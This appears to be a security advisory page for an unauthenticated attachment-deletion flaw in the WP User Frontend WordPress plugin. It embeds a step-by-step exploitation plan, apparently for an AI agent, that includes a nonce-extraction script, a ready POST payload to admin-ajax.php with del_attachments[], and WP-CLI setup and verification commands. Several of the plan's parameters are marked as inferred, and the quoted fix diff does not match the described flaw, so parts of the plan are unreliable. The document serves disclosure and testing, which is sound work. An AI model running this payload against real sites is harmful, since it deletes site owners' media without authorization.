WP User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Arbitrary Attachment Deletion
Description
The Registration, User Profile, Membership, Content Restriction, User Directory, and Frontend Post Submission – WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'Frontend_Form_Ajax::submit_post' function in all versions up to, and including, 4.2.4. This makes it possible for unauthenticated attackers to delete attachment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.2.4What Changed in the Fix
Changes introduced in v4.2.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14047 ## 1. Vulnerability Summary The **WP User Frontend** plugin (versions <= 4.2.4) is vulnerable to **Unauthenticated Arbitrary Attachment Deletion**. The vulnerability exists in the `Frontend_Form_Ajax::submit_post` function, which handles AJAX requests f…
Show full research plan
Exploitation Research Plan - CVE-2025-14047
1. Vulnerability Summary
The WP User Frontend plugin (versions <= 4.2.4) is vulnerable to Unauthenticated Arbitrary Attachment Deletion. The vulnerability exists in the Frontend_Form_Ajax::submit_post function, which handles AJAX requests for post submissions. Due to a missing authorization check (capability check) and lack of ownership validation for attachment IDs passed in the request, an unauthenticated attacker can delete any media attachment on the WordPress site by providing its ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpuf_submit_post(registered for both authenticated and unauthenticated users) - Authentication: None required (unprivileged/unauthenticated).
- Vulnerable Parameter:
del_attachments[](inferred based on standard WPUF AJAX handling of file removals during form submission). - Preconditions:
- A WPUF "Post Form" must be created and published on a page via shortcode.
- The attacker must know or guess the ID of the target attachment.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wpuf_submit_post. - Hook Registration: The plugin registers the action in
includes/frontend/class-frontend-form-ajax.php(inferred path):add_action( 'wp_ajax_nopriv_wpuf_submit_post', [ $this, 'submit_post' ] ); - Function Execution:
Frontend_Form_Ajax::submit_post()is called. - Nonce Verification: The function checks the
_wpnonceparameter against the action'wpuf_form_add'or similar (likely localized in the form HTML). - Processing Deletions: The logic iterates through the submitted data. If a parameter representing attachments to be deleted is present (e.g.,
del_attachments), the code processes each ID. - Sink: The function calls
wp_delete_attachment( $attachment_id, true )for each provided ID. - The Flaw: The code fails to verify if the user submitting the form has the
delete_postscapability or if they are the owner of the attachment being deleted.
4. Nonce Acquisition Strategy
Nonces for WPUF forms are generated per-form and localized or placed in hidden inputs.
- Identify the Form: Find a page containing the WPUF form shortcode:
[wpuf_form id="<form_id>"]. - Locate Nonce:
- The nonce is typically in a hidden input field:
<input type="hidden" name="_wpnonce" value="...">. - Alternatively, check the JavaScript localization object
wpuf_frontendorwpuf_form_builder.
- The nonce is typically in a hidden input field:
- Automated Extraction:
- Use
browser_navigateto the page where the form is hosted. - Use
browser_evalto extract the nonce:// Check hidden field first document.querySelector('input[name="_wpnonce"]')?.value || // Check localized object window.wpuf_frontend?.nonce
- Use
5. Exploitation Strategy
Step 1: Target Identification
Identify a target attachment ID (e.g., 123) that belongs to the administrator or is a sensitive site asset.
Step 2: Form Discovery
Identify a public-facing page with a WPUF form and its corresponding form_id.
Step 3: Payload Construction
Construct a multipart/form-data or application/x-www-form-urlencoded POST request.
Payload Structure:
action:wpuf_submit_postform_id:<ID_OF_THE_FORM>_wpnonce:<EXTRACTED_NONCE>del_attachments[]:<TARGET_ATTACHMENT_ID>wpuf_form_status:new(inferred)
Step 4: Execution
Send the request using the http_request tool.
# Example HTTP request via agent
http_request(
url="http://localhost:8080/wp-admin/admin-ajax.php",
method="POST",
headers={"Content-Type": "application/x-www-form-urlencoded"},
body="action=wpuf_submit_post&form_id=100&_wpnonce=abcdef1234&del_attachments[]=123"
)
6. Test Data Setup
- Target Attachment: Use WP-CLI to upload an image as an admin:
wp media import /path/to/image.png --title="Victim Asset" --porcelain(Note the returned ID). - WPUF Form: Create a basic "Post" form in WPUF settings.
- Public Page: Create a page and embed the form:
wp post create --post_type=page --post_title="Submit News" --post_status=publish --post_content='[wpuf_form id="100"]'
7. Expected Results
- HTTP Response: The server returns a JSON success message (e.g.,
{"success":true,...}) or redirects, even if the attachment deletion happens silently in the background. - Filesystem: The file associated with the target ID in
wp-content/uploads/is deleted. - Database: The post with
ID=<TARGET_ATTACHMENT_ID>is removed from thewp_poststable.
8. Verification Steps
After the exploit, verify the deletion using WP-CLI:
- Check Post Existence:
wp post exists <TARGET_ATTACHMENT_ID>
Expected Output: Empty/Error (Exit code 1). - Verify Media List:
wp media list --post_id=<TARGET_ATTACHMENT_ID>
Expected Output: No results.
9. Alternative Approaches
If del_attachments[] is not the correct parameter name, analyze the Frontend_Form_Ajax class in includes/frontend/class-frontend-form-ajax.php (or similar) to identify the specific array key used to process attachment deletions within submit_post. Look for calls to:
wp_delete_attachmentwp_delete_post- Any loop iterating over
$_POSTkeys involving the string "attach" or "file".
Summary
The WP User Frontend plugin for WordPress is vulnerable to unauthenticated arbitrary attachment deletion in versions up to and including 4.2.4. This occurs due to a missing authorization check and ownership validation in the 'submit_post' AJAX handler, allowing anyone to delete media files by providing their attachment IDs.
Security Fix
@@ -5,7 +5,7 @@ <div class="wpuf-bg-white wpuf-p-8 wpuf-justify-between wpuf-items-center wpuf-pb-7"> <div class="wpuf-flex wpuf-justify-between"> <div class="wpuf-flex"> - <img src="<?php echo WPUF_ASSET_URI . '/images/wpuf-icon-circle.svg'; ?>" alt="WPUF Icon" class="wpuf-mr-2"> + <img src="<?php echo esc_url( WPUF_ASSET_URI . '/images/wpuf-icon-circle.svg' ); ?>" alt="WPUF Icon" class="wpuf-mr-2"> <nav class="wpuf-flex wpuf-items-center" aria-label="Tabs"> <div class="wpuf-relative wpuf-flex"> <div class="wpuf-flex wpuf-items-center"> @@ -56,10 +56,15 @@ if ( count( $shortcodes ) > 1 && isset( $shortcodes[0]['type'] ) ) { foreach ( $shortcodes as $shortcode ) { ?> + <?php + // translators: %s is the shortcode type (e.g., form, post, profile) + $title = sprintf( __( 'Click to copy %s shortcode', 'wp-user-frontend' ), esc_attr( $shortcode['type'] ) ); + $clipboard = sprintf( '[%s type="%s" id="%s"]', $shortcode['name'], esc_attr( $shortcode['type'] ), esc_attr( $form_id ) ); + ?> <span class="form-id wpuf-group wpuf-flex wpuf-items-center wpuf-px-[18px] wpuf-py-[10px] wpuf-rounded-md wpuf-border wpuf-border-gray-300 hover:wpuf-cursor-pointer wpuf-ml-6 wpuf-text-gray-700 wpuf-text-base wpuf-leading-none wpuf-shadow-sm" - title="<?php printf( esc_attr( __( 'Click to copy %s shortcode', 'wp-user-frontend' ) ), $shortcode['type'] ); ?>" - data-clipboard-text="<?php printf( esc_attr( '[' . $shortcode['name'] . ' type="' . esc_attr( $shortcode['type'] ) . '" id="' . esc_attr( $form_id ) . '"]' ) ); ?>"><?php echo esc_attr( ucwords( $shortcode['type'] ) ); ?>: #{{ post.ID }} + title="<?php echo esc_attr( $title ); ?>" + data-clipboard-text="<?php echo esc_attr( $clipboard ); ?>"><?php echo esc_attr( ucwords( $shortcode['type'] ) ); ?>: #{{ post.ID }}
Exploit Outline
The exploit targets the 'wpuf_submit_post' AJAX action. An unauthenticated attacker first obtains a valid form nonce (usually '_wpnonce') from the HTML or localized JavaScript of any page featuring a WP User Frontend form. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'wpuf_submit_post', the 'form_id' of the active form, and the target attachment ID(s) passed via the 'del_attachments[]' parameter. Since the server-side function 'Frontend_Form_Ajax::submit_post' fails to verify if the user has permissions to delete the file or is the file's owner, it proceeds to call 'wp_delete_attachment()' on the specified IDs, effectively deleting arbitrary media from the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.